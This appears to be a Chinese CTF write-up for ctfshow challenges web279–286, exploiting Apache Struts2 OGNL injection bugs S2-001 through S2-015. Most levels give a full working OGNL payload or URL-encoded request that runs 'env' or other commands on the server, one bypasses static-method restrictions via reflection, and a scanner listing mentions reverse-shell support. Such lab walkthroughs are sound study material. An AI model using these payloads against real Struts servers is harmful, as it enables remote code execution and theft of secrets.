ctfshow(web入门)279-286

web279

点击where is flag?

进入到了/S2-001/页面

strus2框架漏洞

https://www.cnblogs.com/hgschool/p/17035322.html

复制代码
S2-001(CVE-2007-4556)
该漏洞因为用户提交表单数据并且验证失败时,
后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,
然后重新填充到对应的表单数据中。
例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,
由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,
所以可以直接构造 Payload 进行命令执行。
OGNL
全称是 Object-Graph Navigation Language(对象图导航语言)。
它是一种表达式语言(EL),简单来说,它的作用是:通过简单的字符串,去操作复杂的 Java 对象。
在 Web 开发中,前端页面(HTML/JSP)需要获取后端 Java 对象的数据,
或者把表单数据写入 Java 对象。OGNL 就是中间的"翻译官"
OGNL 的强大之处在于它具备执行任意 Java 代码的能力。
在正常的开发场景下,开发者本意是想让 OGNL 解析变量名(比如 %{username})。
但在 S2-001 中,系统逻辑变成了:
用户输入了恶意的字符串(Payload)
例如:%{@java.lang.Runtime@getRuntime().exec("whoami")}。
后端表单验证失败。
Struts2 尝试把这个字符串"原样"放回表单。
致命错误发生: Struts2 错误地将用户输入的这段字符串当成了 OGNL 指令 再次解析运行。

OGNL表达式三个符号%, #, $的含义
%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,
需要加#前缀才可以调用
$主要是在Struts 2配置文件中,引用OGNL表达式

可以直接在登录框测试一下 %{2-2} 可以发现返回了0, 说明执行了OGNL表达式解析

使用工具

首先获取服务器信息

之后看到为root用户可以直接执行命令

命令执行

复制代码
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// @org.apache.struts2.ServletActionContext@getRequest():
// 获取 HttpServletRequest 对象,即当前 HTTP 请求。
// #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"):
// 获取 HttpServletResponse 对象,用于返回数据给客户端。
// #req.getRealPath('/'):
// 获取 Web 应用的根目录
// #response.println(...):
// 将根目录路径 打印 到 HTTP 响应中
// #response.flush(), #response.close():
// 刷新并关闭响应流,确保数据返回给客户端。

命令执行查看环境变量env(我为了方便观看将命令进行了拆分,实际情况并不需要)

复制代码
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),
#f.getWriter().close()}
new java.lang.ProcessBuilder(new java.lang.String[]{"env"})
创建 ProcessBuilder 对象,执行 env 命令, 查看环境变量
redirectErrorStream(true): 让标准错误流和标准输出流合并,避免丢失错误信息。
.start(): 启动进程,执行命令。
读取 env 命令输出
#b = #a.getInputStream(): 获取进程的标准输出流。
#c = new java.io.InputStreamReader(#b): 用 InputStreamReader 读取流内容。
#d = new java.io.BufferedReader(#c): 用 BufferedReader 进行缓存读取,提高效率。
#e = new char[50000]: 分配一个 50,000 字符的缓冲区(存储 env 命令的输出)。
#d.read(#e): 读取命令的输出到 #e 数组中。
返回执行结果
#f = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"): 获取 HttpServletResponse。
#f.getWriter().println(new java.lang.String(#e)):
将 env 命令的输出转换为字符串,并通过 HTTP 响应返回给攻击者。
#f.getWriter().flush(), #f.getWriter().close():
确保数据完全写入并关闭响应。

工具地址:https://github.com/HatBoy/Struts2-Scan

复制代码
$ python3 Struts2Scan.py --info

 ____  _              _       ____    ____                  
/ ___|| |_ _ __ _   _| |_ ___|___ \  / ___|  ___ __ _ _ __  
\___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 
 ___) | |_| |  | |_| | |_\__ \/ __/   ___) | (_| (_| | | | |
|____/ \__|_|   \__,_|\__|___/_____| |____/ \___\__,_|_| |_|

                                      Author By HatBoy        

[+] 支持如下Struts2漏洞:
[+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行
[+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行
[+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell
[+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell
[+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell
[+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell
[+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
[+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
[+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell
[+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell

web280

了解一下S2-005的基本信息

S2-005:GET请求发送数据; 支持获取WEB路径,任意命令执行

使用工具

可以直接执行命令

命令执行

直接GET方法访问,执行任意命令POC(无回显,空格用@代替):

复制代码
/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

成功执行后可以看到命令已成功执行,在/tmp/目录下创建了success文件(因为是无回显所以建议是直接使用工具)

web281

S2-007

POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell

使用工具

能够成功检测到但是编号没有S2-007

虽然是S2-016但是能够成功执行命令

命令执行

复制代码
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
#_memberAccess["allowStaticMethodAccess"] = true
allowStaticMethodAccess这个变量 默认是 false,禁止直接调用 Java 的静态方法。
设置为 true 后,允许直接调用 Java 的 Runtime、ProcessBuilder 等静态方法,可以执行任意命令。
#foo = new java.lang.Boolean("false"), #context["xwork.MethodAccessor.denyMethodExecution"] = #foo
xwork.MethodAccessor.denyMethodExecution是 XWork(Struts2 的核心库) 中的安全机制,防止方法执行。
默认是 true,表示禁止执行方法。
这里 将其设置为 false,解除安全限制,允许攻击者执行任意方法
@java.lang.Runtime@getRuntime().exec('env').getInputStream()
通过 Runtime.exec() 执行 env 命令
getInputStream()获取 env 命令的 标准输出,用于读取执行结果
@org.apache.commons.io.IOUtils@toString(...)
Apache Commons IO 库 的 IOUtils.toString() 方法可以 直接将 InputStream 转换为字符串。

web282

S2-008

GET请求发送数据; 支持任意命令执行和反弹shell

使用工具

命令执行

复制代码
https://0215b392-b2b2-4f1b-be2e-0aa4ff397e96.challenge.ctf.show/S2-008/devmode.action?debug=command&expression=
(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream()))

将expression=之后的内容进行url编码,成功执行命令

web283

把页面更新了看到是S2-009

GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell

使用工具

好的也是成功的命令执行了

命令执行

我们的目标是去找一个接受了参数,参数类型是string的action

复制代码
如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,
然后使用/helloword.acton?example=&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。
复制代码
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

web284

随便输点东西

S2-012

GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell

post传参,GET回显

命令执行

复制代码
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

重定向导致工具不能使用,只能命令执行执行

web285

S2-013

GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传

复制代码
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
1.none - 链接不包含请求的任意参数值(默认)
2.get - 链接只包含 GET 请求中的参数和其值
3.all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

使用工具

虽然回显很奇怪但是没关系,只要有回显,并且可以命令执行就不妨碍我们获取flag

命令执行

复制代码
?a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('env').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println('dbapp='+new java.lang.String(#d)),#out.close()}

别忘了url编码

代码的作用都差不多,都是执行命令,获取流,再转换流的输出形式,然后读取内容.最后输出回显,之后就不再解释了

web286

S2-015

GET请求发送数据; 支持任意命令执行和反弹shell

使用工具

命令执行

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式

复制代码
<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的可以用调用动态方法 (new java.lang.ProcessBuilder('calc')).start() 来解决,另外还可以借助 Java 反射机制去间接修改:

复制代码
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

https://ce4f213d-3e95-4d1d-8dbd-da3d5eebd9d1.challenge.ctf.show/S2-015/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream())%2C%23q%7D.action
相关推荐
fy121632 小时前
navicat15安装破解
java
TON_G-T2 小时前
javascript中 Iframe 处理多端通信、鉴权
开发语言·前端·javascript
周淳APP2 小时前
【JS之闭包防抖节流,this指向,原型&原型链,数据类型,深浅拷贝】简单梳理啦!
开发语言·前端·javascript·ecmascript
炽烈小老头2 小时前
【每天学习一点算法 2026/03/16】电话号码的字母组合
学习·算法
ok_hahaha2 小时前
java从头开始-苍穹外卖day05-Redis及店铺营业状态设置
java·开发语言·redis
2501_933329552 小时前
舆情监测系统的技术演进:从数据采集到AI中台,Infoseek如何实现“监测+处置”一体化
开发语言·人工智能·自然语言处理·系统架构
dgvri2 小时前
Windows上安装Go并配置环境变量(图文步骤)
开发语言·windows·golang
加洛斯2 小时前
JAVA知识梳理:一文搞懂集合中的List与ArrayList的基础与进阶
java·后端·面试
做cv的小昊2 小时前
大语言模型系统:【CMU 11-868】课程学习笔记06——Transformer学习(Transformer)
笔记·学习·语言模型